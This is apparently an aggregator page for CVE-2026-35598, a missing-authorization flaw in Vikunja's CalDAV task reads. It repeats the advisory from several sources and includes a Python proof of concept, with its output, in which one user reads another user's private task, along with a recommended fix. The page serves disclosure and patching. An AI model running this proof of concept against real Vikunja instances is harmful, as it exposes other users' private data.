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CVE-2026-35598

Vikunja has Missing Authorization on CalDAV Task Read

4.3 MediumFix available

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.22%Up 0.2 points since Apr 11, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.3

Vikunja has Missing Authorization on CalDAV Task Read

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Record
CVE-2026-35598
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-862
Updated
2026-11-02
EUVDEUVD-2026-21425 4.3

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Record
EUVD-2026-21425
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-48ch-p4gq-x46x 4.3

Vikunja Missing Authorization on CalDAV Task Read

Summary

The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.

Details

GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:

func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) {
    tasks = []*Task{}
    err = s.In("uid", uids).Find(&tasks)
    // ...
}

The web.Auth parameter is accepted but never used for permission filtering. This function is called by:

  • GetResource at pkg/routes/caldav/listStorageProvider.go:266 (CalDAV GET)
  • GetResourcesByList at pkg/routes/caldav/listStorageProvider.go:199 (CalDAV REPORT multiget)

All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.

The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attacker_project}/{victim_task_uid}.ics returns the victim's task regardless of which project ID is in the path.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

alice_token = login("alice", "Alice1234!")
bob_token = login("bob", "Bob12345!")

# alice creates private project and task
proj = requests.put(f"{API}/projects", headers=h(alice_token),
                    json={"title": "Private"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token),
                    json={"title": "Secret CEO salary 500k"}).json()

# task UID must be set (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};"
TASK_UID = "test-uid-001"

# bob tries REST API
r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token))
print(f"REST API: {r.status_code}")  # 403

# bob gets CalDAV token
caldav_token = requests.put(f"{API}/user/settings/token/caldav",
    headers=h(bob_token)).json()["token"]

# bob reads alice's task via CalDAV (project ID in URL doesn't matter)
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("bob", caldav_token))
print(f"CalDAV: {r.status_code}")  # 200
print(r.text)  # contains SUMMARY:Secret CEO salary 500k

Output:

REST API: 403
CalDAV: 200
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:test-uid-001
SUMMARY:Secret CEO salary 500k
DUE:20260401T000000Z
END:VTODO
END:VCALENDAR

The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.

Impact

An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.

Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.

Recommended Fix

Add a CanRead permission check on each returned task's project in both GetResource and GetResourcesByList:

tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user)
// ...
for _, t := range tasks {
    project…
Record
GHSA-48ch-p4gq-x46x
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-862
Updated
2026-11-02
NVD 4.3

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Record
CVE-2026-35598
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-862
Updated
2026-11-02
OSV 4.3

Vikunja has Missing Authorization on CalDAV Task Read

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Record
CVE-2026-35598
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-862
Updated
2026-11-02
OSVGHSA-48ch-p4gq-x46x 4.3

Vikunja Missing Authorization on CalDAV Task Read

Summary

The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.

Details

GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:

func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) {
    tasks = []*Task{}
    err = s.In("uid", uids).Find(&tasks)
    // ...
}

The web.Auth parameter is accepted but never used for permission filtering. This function is called by:

  • GetResource at pkg/routes/caldav/listStorageProvider.go:266 (CalDAV GET)
  • GetResourcesByList at pkg/routes/caldav/listStorageProvider.go:199 (CalDAV REPORT multiget)

All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.

The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attacker_project}/{victim_task_uid}.ics returns the victim's task regardless of which project ID is in the path.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

alice_token = login("alice", "Alice1234!")
bob_token = login("bob", "Bob12345!")

# alice creates private project and task
proj = requests.put(f"{API}/projects", headers=h(alice_token),
                    json={"title": "Private"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token),
                    json={"title": "Secret CEO salary 500k"}).json()

# task UID must be set (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};"
TASK_UID = "test-uid-001"

# bob tries REST API
r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token))
print(f"REST API: {r.status_code}")  # 403

# bob gets CalDAV token
caldav_token = requests.put(f"{API}/user/settings/token/caldav",
    headers=h(bob_token)).json()["token"]

# bob reads alice's task via CalDAV (project ID in URL doesn't matter)
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("bob", caldav_token))
print(f"CalDAV: {r.status_code}")  # 200
print(r.text)  # contains SUMMARY:Secret CEO salary 500k

Output:

REST API: 403
CalDAV: 200
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:test-uid-001
SUMMARY:Secret CEO salary 500k
DUE:20260401T000000Z
END:VTODO
END:VCALENDAR

The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.

Impact

An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.

Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.

Recommended Fix

Add a CanRead permission check on each returned task's project in both GetResource and GetResourcesByList:

tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user)
// ...
for _, t := range tasks {
    project…
Record
GHSA-48ch-p4gq-x46x
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-862
Updated
2026-11-02
OSVGO-2026-5114 No score

Vikunja Missing Authorization on CalDAV Task Read in code.vikunja.io/api

Vikunja Missing Authorization on CalDAV Task Read in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Record
GO-2026-5114
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
code.vikunja.io/api
Go
 through 2.2.2
2.3.0
code.vikunja.io/api
Go
 before 2.3.0
2.3.0
code.vikunja.io/api
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35598 is a medium vulnerability (CVSS 4.3) in Go-vikunja Vikunja, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 13th percentile. Fixed in code.vikunja.io/api 2.3.0.

References

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